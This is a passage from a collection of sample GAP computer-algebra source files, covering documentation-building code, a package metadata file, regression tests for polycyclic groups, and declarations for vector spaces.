Concatenation(\n                  GAPDoc2LaTeXProcs.Head{[ 1 .. PositionSublist( GAPDoc2LaTeXProcs.Head, \"{\", position_document_class ) ]},\n                  scaffold.document_class[ 1 ],\n                  GAPDoc2LaTeXProcs.Head{[ PositionSublist( GAPDoc2LaTeXProcs.Head, \"}\", position_document_class ) .. Length( GAPDoc2LaTeXProcs.Head ) ]} );\n            \n            if Length( scaffold.document_class ) = 2 then\n                \n                GAPDoc2LaTeXProcs.Head := Concatenation(\n                      GAPDoc2LaTeXProcs.Head{[ 1 .. PositionSublist( GAPDoc2LaTeXProcs.Head, \"[\", position_document_class ) ]},\n                      scaffold.document_class[ 2 ],\n                      GAPDoc2LaTeXProcs.Head{[ PositionSublist( GAPDoc2LaTeXProcs.Head, \"]\", position_document_class ) .. Length( GAPDoc2LaTeXProcs.Head ) ]} );\n            fi;\n        fi;\n        \n        if IsBound( scaffold.latex_header_file ) then\n            GAPDoc2LaTeXProcs.Head := StringFile( scaffold.latex_header_file );\n        fi;\n        \n        if IsBound( scaffold.gapdoc_latex_options ) then\n            if IsRecord( scaffold.gapdoc_latex_options ) then\n                for i in RecNames( scaffold.gapdoc_latex_options ) do\n                    if not IsString( scaffold.gapdoc_latex_options.( i ) )\n                       and IsList( scaffold.gapdoc_latex_options.( i ) )\n                       and LowercaseString( scaffold.gapdoc_latex_options.( i )[ 1 ] ) = \"file\" then\n                        scaffold.gapdoc_latex_options.( i ) := StringFile( scaffold.gapdoc_latex_options.( i )[ 2 ] );\n                    fi;\n                od;\n                \n                gapdoc_latex_option_record := scaffold.gapdoc_latex_options;\n            fi;\n        fi;\n        \n        if not IsBound( scaffold.includes ) then\n            scaffold.includes := [ ];\n        fi;\n\n        if IsBound( autodoc ) then\n            # If scaffold.includes is already set, then we add\n            # AutoDocMainFile.xml to it, but *only* if it not already\n            # there. This way, package authors can control where\n            # it is put in their includes list.\n            if not \"AutoDocMainFile.xml\" in scaffold.includes then\n                Add( scaffold.includes, \"AutoDocMainFile.xml\" );\n            fi;\n        fi;\n\n        if IsBound( scaffold.bib ) and IsBool( scaffold.bib ) then\n            if scaffold.bib = true then\n                scaffold.bib := Concatenation( pkg, \".bib\" );\n            else\n                Unbind( scaffold.bib );\n            fi;\n        elif not IsBound( scaffold.bib ) then\n            # If there is a doc/PKG.bib file, assume that we want to reference it in the scaffold.\n            if IsReadableFile( Filename( doc_dir, Concatenation( pkg, \".bib\" ) ) ) then\n                scaffold.bib := Concatenation( pkg, \".bib\" );\n            fi;\n        fi;\n        \n        AUTODOC_WriteOnce( scaffold, \"index\", true );\n\n        if IsBound( gapdoc ) then\n            if AUTODOC_GetSuffix( gapdoc.main ) = \"xml\" then\n                scaffold.main_xml_file := gapdoc.main;\n            else\n                scaffold.main_xml_file := Concatenation( gapdoc.main, \".xml\" );\n            fi;\n        fi;\n\n        # TODO: It should be possible to only rebuild the title page. (Perhaps also only the main page? but this is less important)\n        if IsBound( scaffold.TitlePage ) then\n            if IsRecord( scaffold.TitlePage ) then\n                title_page := scaffold.TitlePage;\n            else\n                title_page := rec( );\n            fi;\n            \n            AUTODOC_WriteOnce( title_page, \"dir\", doc_dir );\n            AUTODOC_APPEND_RECORD_WRITEONCE( title_page, tree!.TitlePage );\n            \n            if not is_worksheet then\n                AUTODOC_APPEND_RECORD_WRITEONCE( title_page, ExtractTitleInfoFromPackageInfo( pkg ) );\n            fi;\n            \n            CreateTitlePage( title_page );\n        fi;\n        \n        if IsBound( scaffold.MainPage ) and scaffold.MainPage <> false then\n            scaffold.dir := doc_dir;\n            scaffold.book_name := pkg;\n            CreateMainPage( scaffold );\n        fi;\n    fi;\n    \n    #\n    # Run AutoDoc\n    #\n    if IsBound( autodoc ) then\n        WriteDocumentation( tree, doc_dir );\n    fi;\n    \n    \n    #\n    # Run GAPDoc\n    #\n    if IsBound( gapdoc ) then\n\n        # Ask GAPDoc to use UTF-8 as input encoding for LaTeX, as the XML files\n        # of the documentation are also in UTF-8 encoding, and may contain characters\n        # not contained in the default Latin 1 encoding.\n        SetGapDocLaTeXOptions( \"utf8\", gapdoc_latex_option_record );\n\n        MakeGAPDocDoc( doc_dir, gapdoc.main, gapdoc.files, gapdoc.bookname, \"MathJax\" );\n\n        CopyHTMLStyleFiles( Filename( doc_dir, \"\" ) );\n\n        # The following (undocumented) API is there for compatibility\n        # with old-style gapmacro.tex based package manuals. It\n        # produces a manual.lab file which those packages can use if\n        # they wish to link to things in the manual we are currently\n        # generating. This can probably be removed eventually, but for\n        # now, doing it does not hurt.\n        \n        # FIXME: It seems that this command does not work if pdflatex\n        #        is not present. Maybe we should remove it.\n        \n        if not is_worksheet then\n            GAPDocManualLab( pkg );\n        fi;\n\n    fi;\n    \n    if IsBound( maketest ) then\n        \n        AUTODOC_WriteOnce( maketest, \"filename\", \"maketest.g\" );\n        AUTODOC_WriteOnce( maketest, \"folder\", pkg_dir );\n        AUTODOC_WriteOnce( maketest, \"scan_dir\", doc_dir );\n        AUTODOC_WriteOnce( maketest, \"files_to_scan\", gapdoc.files );\n\n        if IsString( maketest.folder ) then\n            maketest.folder := Directory( maketest.folder );\n        fi;\n        \n        if IsString( maketest.scan_dir ) then\n            maketest.scan_dir := Directory( maketest.scan_dir );\n        fi;\n        \n        AUTODOC_WriteOnce( maketest, \"commands\", [ ] );\n        AUTODOC_WriteOnce( maketest, \"book_name\", gapdoc.main );\n        \n        CreateMakeTest( maketest );\n    fi;\n\n    return true;\nend );\n"
  },
  {
    "path": "samples/GAP/PackageInfo.g",
    "content": "#############################################################################\n##  \n##  PackageInfo.g for the package `cvec'                      Max Neunhoeffer\n##\n##  (created from Frank Lübeck's PackageInfo.g template file)\n##  \n\nSetPackageInfo( rec(\n\nPackageName := \"cvec\",\nSubtitle := \"Compact vectors over finite fields\",\nVersion := \"2.5.1\",\nDate := \"04/04/2014\", # dd/mm/yyyy format\n\n##  Information about authors and maintainers.\nPersons := [\n  rec( \n    LastName      := \"Neunhoeffer\",\n    FirstNames    := \"Max\",\n    IsAuthor      := true,\n    IsMaintainer  := false,\n    Email         := \"neunhoef@mcs.st-and.ac.uk\",\n    WWWHome       := \"http://www-groups.mcs.st-and.ac.uk/~neunhoef/\",\n    PostalAddress := Concatenation( [\n                       \"School of Mathematics and Statistics\\n\",\n                       \"University of St Andrews\\n\",\n                       \"Mathematical Institute\\n\",\n                       \"North Haugh\\n\",\n                       \"St Andrews, Fife KY16 9SS\\n\",\n                       \"Scotland, UK\" ] ),\n    Place         := \"St Andrews\",\n    Institution   := \"University of St Andrews\"\n  ),\n],\n\n##  Status information. Currently the following cases are recognized:\n##    \"accepted\"      for successfully refereed packages\n##    \"deposited\"     for packages for which the GAP developers agreed \n##                    to distribute them with the core GAP system\n##    \"dev\"           for development versions of packages \n##    \"other\"         for all other packages\n##\n# Status := \"accepted\",\nStatus := \"deposited\",\n\n##  You must provide the next two entries if and only if the status is \n##  \"accepted\" because is was successfully refereed:\n# format: 'name (place)'\n# CommunicatedBy := \"Mike Atkinson (St. Andrews)\",\n#CommunicatedBy := \"\",\n# format: mm/yyyy\n# AcceptDate := \"08/1999\",\n#AcceptDate := \"\",\n\nPackageWWWHome := \"http://neunhoef.github.io/cvec/\",\nREADME_URL     := Concatenation(~.PackageWWWHome, \"README\"),\nPackageInfoURL := Concatenation(~.PackageWWWHome, \"PackageInfo.g\"),\nArchiveURL     := Concatenation(\"https://github.com/neunhoef/cvec/\",\n                                \"releases/download/v\", ~.Version,\n                                \"/cvec-\", ~.Version),\nArchiveFormats := \".tar.gz .tar.bz2\",\n\n##  Here you  must provide a short abstract explaining the package content \n##  in HTML format (used on the package overview Web page) and an URL \n##  for a Webpage with more detailed information about the package\n##  (not more than a few lines, less is ok):\n##  Please, use '<span class=\"pkgname\">GAP</span>' and\n##  '<span class=\"pkgname\">MyPKG</span>' for specifing package names.\n##  \nAbstractHTML := \n  \"This package provides an implementation of compact vectors over finite\\\n   fields. Contrary to earlier implementations no table lookups are used\\\n   but only word-based processor arithmetic. This allows for bigger finite\\\n   fields and higher speed.\",\n\nPackageDoc := rec(\n  BookName  := \"cvec\",\n  ArchiveURLSubset := [\"doc\"],\n  HTMLStart := \"doc/chap0.html\",\n  PDFFile   := \"doc/manual.pdf\",\n  SixFile   := \"doc/manual.six\",\n  LongTitle := \"Compact vectors over finite fields\",\n),\n\nDependencies := rec(\n  GAP := \">=4.5.5\",\n  NeededOtherPackages := [\n    [\"GAPDoc\", \">= 1.2\"],\n    [\"IO\", \">= 4.1\"],\n    [\"orb\", \">= 4.2\"],\n  ],\n  SuggestedOtherPackages := [],\n  ExternalConditions := []\n),\n\nAvailabilityTest := function()\n  if not \"cvec\" in SHOW_STAT() and\n     Filename(DirectoriesPackagePrograms(\"cvec\"), \"cvec.so\") = fail then\n    #Info(InfoWarning, 1, \"cvec: kernel cvec functions not available.\");\n    return fail;\n  fi;\n  return true;\nend,\n\n##  *Optional*, but recommended: path relative to package root to a file which \n##  contains as many tests of the package functionality as sensible.\n#TestFile := \"tst/testall.g\",\n\n##  *Optional*: Here you can list some keyword related to the topic \n##  of the package.\nKeywords := []\n\n));\n\n\n"
  },
  {
    "path": "samples/GAP/bugfix.tst",
    "content": "gap> START_TEST(\"Test for various former bugs\");\n\n\ngap> # The following used to trigger an error starting with:\ngap> # \"SolutionMat: matrix and vector incompatible called from\"\ngap> K:=AbelianPcpGroup([3,3,3]);;\ngap> A:=Subgroup(K,[K.1]);;\ngap> cr:=CRRecordBySubgroup(K,A);;\ngap> ExtensionsCR(cr);;\n\n\n# Comparing homomorphisms used to be broken\ngap> K:=AbelianPcpGroup(1,[3]);;\ngap> hom1:=GroupHomomorphismByImages(K,K,[K.1],[K.1]);;\ngap> hom2:=GroupHomomorphismByImages(K,K,[K.1^2],[K.1^2]);;\ngap> hom1=hom2;\ntrue\ngap> hom1=IdentityMapping(K);\ntrue\ngap> hom2=IdentityMapping(K);\ntrue\n\n\ngap> # The following incorrectly triggered an error at some point\ngap> IsTorsionFree(ExamplesOfSomePcpGroups(5));\ntrue\n\n\ngap> # Verify IsGeneratorsOfMagmaWithInverses warnings are silenced\ngap> IsGeneratorsOfMagmaWithInverses(GeneratorsOfGroup(ExamplesOfSomePcpGroups(5)));\ntrue\n\n\ngap> # Check for a bug reported 2012-01-19 by Robert Morse\ngap> g := PcGroupToPcpGroup(SmallGroup(48,1));\nPcp-group with orders [ 2, 2, 2, 2, 3 ]\ngap> # The next two commands used to trigger errors\ngap> NonAbelianTensorSquare(Centre(g));\nPcp-group with orders [ 8 ]\ngap> NonAbelianExteriorSquare(Centre(g));\nPcp-group with orders [  ]\n\n\ngap> # Check for a bug reported 2012-01-19 by Robert Morse\ngap> F := FreeGroup(\"x\",\"y\");\n<free group on the generators [ x, y ]>\ngap> x := F.1;; y := F.2;;\ngap> G := F/[x^2/y^24, y^24, y^x/y^23];\n<fp group on the generators [ x, y ]>\ngap> iso := IsomorphismPcGroup(G);\n[ x, y ] -> [ f1, f2*f5 ]\ngap> iso1 := IsomorphismPcpGroup(Image(iso));\n[ f1, f2, f3, f4, f5 ] -> [ g1, g2, g3, g4, g5 ]\ngap> G := Image(iso*iso1);\nPcp-group with orders [ 2, 2, 2, 2, 3 ]\ngap> # The next command used to trigger an error\ngap> NonAbelianTensorSquare(Image(iso*iso1));\nPcp-group with orders [ 2, 2, 3, 2, 2, 2, 2 ]\n\n\ngap> # The problem with the previous example is/was that Igs(G)\ngap> # is set to a non-standard value:\ngap> Igs(G);\n[ g1, g2*g5, g3*g4*g5^2, g4*g5, g5 ]\ngap> # Unfortunately, it seems that a lot of code that\ngap> # really should be using Ngs or Cgs is using Igs incorrectly.\ngap> # For example, direct products could return *invalid* embeddings:\ngap> D := DirectProduct(G, G);\nPcp-group with orders [ 2, 2, 2, 2, 3, 2, 2, 2, 2, 3 ]\ngap> hom:=Embedding(D,1);;\ngap> mapi:=MappingGeneratorsImages(hom);;\ngap> GroupHomomorphismByImages(Source(hom),Range(hom),mapi[1],mapi[2]) <> fail;\ntrue\ngap> hom:=Projection(D,1);;\ngap> mapi:=MappingGeneratorsImages(hom);;\ngap> GroupHomomorphismByImages(Source(hom),Range(hom),mapi[1],mapi[2]) <> fail;\ntrue\n\n\ngap> # Check for bug computing Schur extension of infinite cyclic groups,\ngap> # found by Max Horn 2012-05-25\ngap> G:=AbelianPcpGroup(1,[0]);\nPcp-group with orders [ 0 ]\ngap> # The next command used to trigger an error\ngap> SchurExtension(G);\nPcp-group with orders [ 0 ]\n\n\ngap> # Check for bug computing Schur extensions of subgroups, found by MH 2012-05-25.\ngap> G:=HeisenbergPcpGroup(2);\nPcp-group with orders [ 0, 0, 0, 0, 0 ]\ngap> H:=Subgroup(G,[G.2^3*G.3^2, G.1^9]);\nPcp-group with orders [ 0, 0, 0 ]\ngap> # The next command used to trigger an error\ngap> SchurExtension(H);\nPcp-group with orders [ 0, 0, 0, 0, 0, 0 ]\n\n\ngap> # Check for bug computing Schur extensions of subgroups, found by MH 2012-05-25.\ngap> G:=HeisenbergPcpGroup(2);\nPcp-group with orders [ 0, 0, 0, 0, 0 ]\ngap> H:=Subgroup(G,[G.1, G.2]);\nPcp-group with orders [ 0, 0 ]\ngap> # The next command used to trigger an error\ngap> SchurExtension(H);\nPcp-group with orders [ 0, 0, 0 ]\n\n\ngap> # Check for bug computing normalizer of two subgroups, found by MH 2012-05-30.\ngap> # The problem was caused by incorrect resp. overly restrictive use of Parent().\ngap> G:=HeisenbergPcpGroup(2);\nPcp-group with orders [ 0, 0, 0, 0, 0 ]\ngap> A:=Subgroup(Subgroup(G,[G.2,G.3,G.4,G.5]), [G.3]);\nPcp-group with orders [ 0 ]\ngap> B:=Subgroup(Subgroup(G,[G.1,G.4,G.5]), [G.4]);\nPcp-group with orders [ 0 ]\ngap> Normalizer(A,B);\nPcp-group with orders [ 0 ]\ngap> # The following used to trigger the error \"arguments must have a common parent group\"\ngap> Normalizer(B,A);\nPcp-group with orders [ 0 ]\n\n\ngap> # In polycyclic 2.9 and 2.10, the code for 2-cohomology computations was broken.\ngap> G := UnitriangularPcpGroup(3,0);\nPcp-group with orders [ 0, 0, 0 ]\ngap> mats := G!.mats;\n[ [ [ 1, 1, 0 ], [ 0, 1, 0 ], [ 0, 0, 1 ] ], \n  [ [ 1, 0, 0 ], [ 0, 1, 1 ], [ 0, 0, 1 ] ], \n  [ [ 1, 0, 1 ], [ 0, 1, 0 ], [ 0, 0, 1 ] ] ]\ngap> C := CRRecordByMats(G,mats);;\ngap> cc := TwoCohomologyCR(C);;\ngap> cc.factor.rels;\n[ 2, 0, 0 ]\ngap> c := cc.factor.prei[2];\n[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, -1, 1 ]\ngap> cc.gcb;\n[ [ 0, 0, 1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], \n  [ 0, 0, -1, 0, 0, 0, 0, 0, 1, 0, 0, -1, 0, 0, 0, 0, 0, 0 ], \n  [ 0, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, -1 ], \n  [ -1, 0, 1, 1, 0, 0, 0, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0 ], \n  [ 0, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 1 ] ]\ngap> cc.gcc;\n[ [ 1, 0, 0, 0, 0, -2, -1, 0, 1, 1, -1, -1, 0, 0, 0, 0, 0, 0 ], \n  [ 0, 1, 0, 0, -1, -1, 0, 0, 1, 0, 0, -1, 0, 0, 0, 0, 0, 0 ], \n  [ 0, 0, 1, 0, 0, -2, 0, 0, 1, 0, 0, -1, 0, 0, 0, 0, 0, 0 ], \n  [ 0, 0, 0, 1, 0, 0, -1, -1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], \n  [ 0, 0, 0, 0, 0, 1, 0, 0, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0 ], \n  [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, -1, 1 ], \n  [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, -1 ] ]\n\n\ngap> # LowerCentralSeriesOfGroup for non-nilpotent pcp-groups used to trigger\ngap> # an infinite recursion\ngap> G := PcGroupToPcpGroup(SmallGroup(6,1));\nPcp-group with orders [ 2, 3 ]\ngap> LowerCentralSeriesOfGroup(G);\n[ Pcp-group with orders [ 2, 3 ], Pcp-group with orders [ 3 ] ]\n\n\ngap> STOP_TEST( \"bugfix.tst\", 10000000);\n"
  },
  {
    "path": "samples/GAP/example.gd",
    "content": "#############################################################################\n##\n#W  example.gd\n##\n##  This file contains a sample of a GAP declaration file.\n##\nDeclareProperty( \"SomeProperty\", IsLeftModule );\nDeclareGlobalFunction( \"SomeGlobalFunction\" );\n\n\n#############################################################################\n##\n#C  IsQuuxFrobnicator(<R>)\n##\n##  <ManSection>\n##  <Filt Name=\"IsQuuxFrobnicator\" Arg='R' Type='Category'/>\n##\n##  <Description>\n##  Tests whether R is a quux frobnicator.\n##  </Description>\n##  </ManSection>\n##\nDeclareSynonym( \"IsQuuxFrobnicator\", IsField and IsGroup );\n"
  },
  {
    "path": "samples/GAP/example.gi",
    "content": "#############################################################################\n##\n#W  example.gd\n##\n##  This file contains a sample of a GAP implementation file.\n##\n\n\n#############################################################################\n##\n#M  SomeOperation( <val> )\n##\n##  performs some operation on <val>\n##\nInstallMethod( SomeProperty,\n    \"for left modules\",\n    [ IsLeftModule ], 0,\n    function( M )\n    if IsFreeLeftModule( M ) and not IsTrivial( M ) then\n      return true;\n    fi;\n    TryNextMethod();\n    end );\n\n\n\n#############################################################################\n##\n#F  SomeGlobalFunction( )\n##\n##  A global variadic funfion.\n##\nInstallGlobalFunction( SomeGlobalFunction, function( arg )\n    if Length( arg ) = 3 then\n      return arg[1] + arg[2] * arg[3];\n    elif Length( arg ) = 2 then\n      return arg[1] - arg[2]\n    else\n      Error( \"usage: SomeGlobalFunction( <x>, <y>[, <z>] )\" );\n    fi;\n    end );\n\n\n#\n# A plain function.\n#\nSomeFunc := function(x, y)\n    local z, func, tmp, j;\n    z := x * 1.0;\n    y := 17^17 - y;\n    func := a -> a mod 5;\n    tmp := List( [1..50], func );\n    while y > 0 do\n        for j in tmp do\n            Print(j, \"\\n\");\n        od;\n        repeat\n            y := y - 1;\n        until 0 < 1;\n        y := y -1;\n    od;\n    return z;\nend;\n        "
  },
  {
    "path": "samples/GAP/factor.tst",
    "content": "gap> START_TEST(\"Test of factor groups and natural homomorphisms\");\n\ngap> G:=HeisenbergPcpGroup(2);\nPcp-group with orders [ 0, 0, 0, 0, 0 ]\n\ngap> H:=Subgroup(G,[G.2,G.3,G.4,G.5]);\ngap> K:=G/H;\ngap> NaturalHomomorphism(K);\n\ngap> A:=Subgroup(H, [G.3]);\nPcp-group with orders [ 0 ]\ngap> B:=Subgroup(Subgroup(G,[G.1,G.4,G.5]), [G.4]);\nPcp-group with orders [ 0 ]\ngap> Normalizer(A,B);\nPcp-group with orders [ 0 ]\ngap> # The following used to trigger the error \"arguments must have a common parent group\"\ngap> Normalizer(B,A);\nPcp-group with orders [ 0 ]\n\n\ngap> STOP_TEST( \"factor.tst\", 10000000);\n"
  },
  {
    "path": "samples/GAP/vspc.gd",
    "content": "#############################################################################\n##\n#W  vspc.gd                     GAP library                     Thomas Breuer\n##\n##\n#Y  Copyright (C)  1997,  Lehrstuhl D für Mathematik,  RWTH Aachen,  Germany\n#Y  (C) 1998 School Math and Comp. Sci., University of St Andrews, Scotland\n#Y  Copyright (C) 2002 The GAP Group\n##\n##  This file declares the operations for vector spaces.\n##\n##  The operations for bases of free left modules can be found in the file\n##  <F>lib/basis.gd<F>.\n##\n\n\n#############################################################################\n##\n#C  IsLeftOperatorRing(<R>)\n##\n##  <ManSection>\n##  <Filt Name=\"IsLeftOperatorRing\" Arg='R' Type='Category'/>\n##\n##  <Description>\n##  </Description>\n##  </ManSection>\n##\nDeclareSynonym( \"IsLeftOperatorRing\",\n    IsLeftOperatorAdditiveGroup and IsRing and IsAssociativeLOpDProd );\n#T really?\n\n\n#############################################################################\n##\n#C  IsLeftOperatorRingWithOne(<R>)\n##\n##  <ManSection>\n##  <Filt Name=\"IsLeftOperatorRingWithOne\" Arg='R' Type='Category'/>\n##\n##  <Description>\n##  </Description>\n##  </ManSection>\n##\nDeclareSynonym( \"IsLeftOperatorRingWithOne\",\n    IsLeftOperatorAdditiveGroup and IsRingWithOne\n    and IsAssociativeLOpDProd );\n#T really?\n\n\n#############################################################################\n##\n#C  IsLeftVectorSpace( <V> )\n#C  IsVectorSpace( <V> )\n##\n##  <#GAPDoc Label=\"IsLeftVectorSpace\">\n##  <ManSection>\n##  <Filt Name=\"IsLeftVectorSpace\" Arg='V' Type='Category'/>\n##  <Filt Name=\"IsVectorSpace\" Arg='V' Type='Category'/>\n##\n##  <Description>\n##  A <E>vector space</E> in &GAP; is a free left module\n##  (see&nbsp;<Ref Func=\"IsFreeLeftModule\"/>) over a division ring\n##  (see Chapter&nbsp;<Ref Chap=\"Fields and Division Rings\"/>).\n##  <P/>\n##  Whenever we talk about an <M>F</M>-vector space <A>V</A> then <A>V</A> is\n##  an additive group (see&nbsp;<Ref Func=\"IsAdditiveGroup\"/>) on which the\n##  division ring <M>F</M> acts via multiplication from the left such that\n##  this action and the addition in <A>V</A> are left and right distributive.\n##  The division ring <M>F</M> can be accessed as value of the attribute\n##  <Ref Func=\"LeftActingDomain\"/>.\n##  <P/>\n##  Vector spaces in &GAP; are always <E>left</E> vector spaces,\n##  <Ref Filt=\"IsLeftVectorSpace\"/> and <Ref Filt=\"IsVectorSpace\"/> are\n##  synonyms.\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"IsLeftVectorSpace\",\n    IsLeftModule and IsLeftActedOnByDivisionRing );\n\nDeclareSynonym( \"IsVectorSpace\", IsLeftVectorSpace );\n\nInstallTrueMethod( IsFreeLeftModule,\n    IsLeftModule and IsLeftActedOnByDivisionRing );\n\n\n#############################################################################\n##\n#F  IsGaussianSpace( <V> )\n##\n##  <#GAPDoc Label=\"IsGaussianSpace\">\n##  <ManSection>\n##  <Func Name=\"IsGaussianSpace\" Arg='V'/>\n##\n##  <Description>\n##  The filter <Ref Filt=\"IsGaussianSpace\"/> (see&nbsp;<Ref Sect=\"Filters\"/>)\n##  for the row space (see&nbsp;<Ref Func=\"IsRowSpace\"/>)\n##  or matrix space (see&nbsp;<Ref Func=\"IsMatrixSpace\"/>) <A>V</A>\n##  over the field <M>F</M>, say,\n##  indicates that the entries of all row vectors or matrices in <A>V</A>,\n##  respectively, are all contained in <M>F</M>.\n##  In this case, <A>V</A> is called a <E>Gaussian</E> vector space.\n##  Bases for Gaussian spaces can be computed using Gaussian elimination for\n##  a given list of vector space generators.\n##  <Example><![CDATA[\n##  gap> mats:= [ [[1,1],[2,2]], [[3,4],[0,1]] ];;\n##  gap> V:= VectorSpace( Rationals, mats );;\n##  gap> IsGaussianSpace( V );\n##  true\n##  gap> mats[1][1][1]:= E(4);;   # an element in an extension field\n##  gap> V:= VectorSpace( Rationals, mats );;\n##  gap> IsGaussianSpace( V );\n##  false\n##  gap> V:= VectorSpace( Field( Rationals, [ E(4) ] ), mats );;\n##  gap> IsGaussianSpace( V );\n##  true\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareFilter( \"IsGaussianSpace\", IsVectorSpace );\n\nInstallTrueMethod( IsGaussianSpace,\n    IsVectorSpace and IsFullMatrixModule );\n\nInstallTrueMethod( IsGaussianSpace,\n    IsVectorSpace and IsFullRowModule );\n\n\n#############################################################################\n##\n#C  IsDivisionRing( <D> )\n##\n##  <#GAPDoc Label=\"IsDivisionRing\">\n##  <ManSection>\n##  <Filt Name=\"IsDivisionRing\" Arg='D' Type='Category'/>\n##\n##  <Description>\n##  A <E>division ring</E> in &GAP; is a nontrivial associative algebra\n##  <A>D</A> with a multiplicative inverse for each nonzero element.\n##  In &GAP; every division ring is a vector space over a division ring\n##  (possibly over itself).\n##  Note that being a division ring is thus not a property that a ring can\n##  get, because a ring is usually not represented as a vector space.\n##  <P/>\n##  The field of coefficients is stored as the value of the attribute\n##  <Ref Func=\"LeftActingDomain\"/> of <A>D</A>.\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonymAttr( \"IsDivisionRing\",\n        IsMagmaWithInversesIfNonzero\n    and IsLeftOperatorRingWithOne\n    and IsLeftVectorSpace\n    and IsNonTrivial\n    and IsAssociative\n    and IsEuclideanRing );\n\n\n#############################################################################\n##\n#A  GeneratorsOfLeftVectorSpace( <V> )\n#A  GeneratorsOfVectorSpace( <V> )\n##\n##  <#GAPDoc Label=\"GeneratorsOfLeftVectorSpace\">\n##  <ManSection>\n##  <Attr Name=\"GeneratorsOfLeftVectorSpace\" Arg='V'/>\n##  <Attr Name=\"GeneratorsOfVectorSpace\" Arg='V'/>\n##\n##  <Description>\n##  For an <M>F</M>-vector space <A>V</A>,\n##  <Ref Attr=\"GeneratorsOfLeftVectorSpace\"/> returns a list of vectors in\n##  <A>V</A> that generate <A>V</A> as an <M>F</M>-vector space.\n##  <Example><![CDATA[\n##  gap> GeneratorsOfVectorSpace( FullRowSpace( Rationals, 3 ) );\n##  [ [ 1, 0, 0 ], [ 0, 1, 0 ], [ 0, 0, 1 ] ]\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonymAttr( \"GeneratorsOfLeftVectorSpace\",\n    GeneratorsOfLeftOperatorAdditiveGroup );\n\nDeclareSynonymAttr( \"GeneratorsOfVectorSpace\",\n    GeneratorsOfLeftOperatorAdditiveGroup );\n\n\n#############################################################################\n##\n#A  CanonicalBasis( <V> )\n##\n##  <#GAPDoc Label=\"CanonicalBasis\">\n##  <ManSection>\n##  <Attr Name=\"CanonicalBasis\" Arg='V'/>\n##\n##  <Description>\n##  If the vector space <A>V</A> supports a <E>canonical basis</E> then\n##  <Ref Attr=\"CanonicalBasis\"/> returns this basis,\n##  otherwise <K>fail</K> is returned.\n##  <P/>\n##  The defining property of a canonical basis is that its vectors are\n##  uniquely determined by the vector space.\n##  If canonical bases exist for two vector spaces over the same left acting\n##  domain (see&nbsp;<Ref Func=\"LeftActingDomain\"/>) then the equality of\n##  these vector spaces can be decided by comparing the canonical bases.\n##  <P/>\n##  The exact meaning of a canonical basis depends on the type of <A>V</A>.\n##  Canonical bases are defined for example for Gaussian row and matrix\n##  spaces (see&nbsp;<Ref Sect=\"Row and Matrix Spaces\"/>).\n##  <P/>\n##  If one designs a new kind of vector spaces\n##  (see&nbsp;<Ref Sect=\"How to Implement New Kinds of Vector Spaces\"/>) and\n##  defines a canonical basis for these spaces then the\n##  <Ref Attr=\"CanonicalBasis\"/> method one installs\n##  (see&nbsp;<Ref Func=\"InstallMethod\"/>)\n##  must <E>not</E> call <Ref Func=\"Basis\"/>.\n##  On the other hand, one probably should install a <Ref Func=\"Basis\"/>\n##  method that simply calls <Ref Attr=\"CanonicalBasis\"/>,\n##  the value of the method\n##  (see&nbsp;<Ref Sect=\"Method Installation\"/> and\n##  <Ref Sect=\"Applicable Methods and Method Selection\"/>)\n##  being <C>CANONICAL_BASIS_FLAGS</C>.\n##  <Example><![CDATA[\n##  gap> vecs:= [ [ 1, 2, 3 ], [ 1, 1, 1 ], [ 1, 1, 1 ] ];;\n##  gap> V:= VectorSpace( Rationals, vecs );;\n##  gap> B:= CanonicalBasis( V );\n##  CanonicalBasis( <vector space over Rationals, with 3 generators> )\n##  gap> BasisVectors( B );\n##  [ [ 1, 0, -1 ], [ 0, 1, 2 ] ]\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareAttribute( \"CanonicalBasis\", IsFreeLeftModule );\n\n\n#############################################################################\n##\n#F  IsRowSpace( <V> )\n##\n##  <#GAPDoc Label=\"IsRowSpace\">\n##  <ManSection>\n##  <Func Name=\"IsRowSpace\" Arg='V'/>\n##\n##  <Description>\n##  A <E>row space</E> in &GAP; is a vector space that consists of\n##  row vectors (see Chapter&nbsp;<Ref Chap=\"Row Vectors\"/>).\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"IsRowSpace\", IsRowModule and IsVectorSpace );\n\n\n#############################################################################\n##\n#F  IsGaussianRowSpace( <V> )\n##\n##  <ManSection>\n##  <Func Name=\"IsGaussianRowSpace\" Arg='V'/>\n##\n##  <Description>\n##  A row space is <E>Gaussian</E> if the left acting domain contains all\n##  scalars that occur in the vectors.\n##  Thus one can use Gaussian elimination in the calculations.\n##  <P/>\n##  (Otherwise the space is non-Gaussian.\n##  We will need a flag for this to write down methods that delegate from\n##  non-Gaussian spaces to Gaussian ones.)\n##  <!-- reformulate this when it becomes documented -->\n##  </Description>\n##  </ManSection>\n##\nDeclareSynonym( \"IsGaussianRowSpace\", IsGaussianSpace and IsRowSpace );\n\n\n#############################################################################\n##\n#F  IsNonGaussianRowSpace( <V> )\n##\n##  <ManSection>\n##  <Func Name=\"IsNonGaussianRowSpace\" Arg='V'/>\n##\n##  <Description>\n##  If an <M>F</M>-vector space <A>V</A> is in the filter\n##  <Ref Func=\"IsNonGaussianRowSpace\"/> then this expresses that <A>V</A>\n##  consists of row vectors (see&nbsp;<Ref Func=\"IsRowVector\"/>) such\n##  that not all entries in these row vectors are contained in <M>F</M>\n##  (so Gaussian elimination cannot be used to compute an 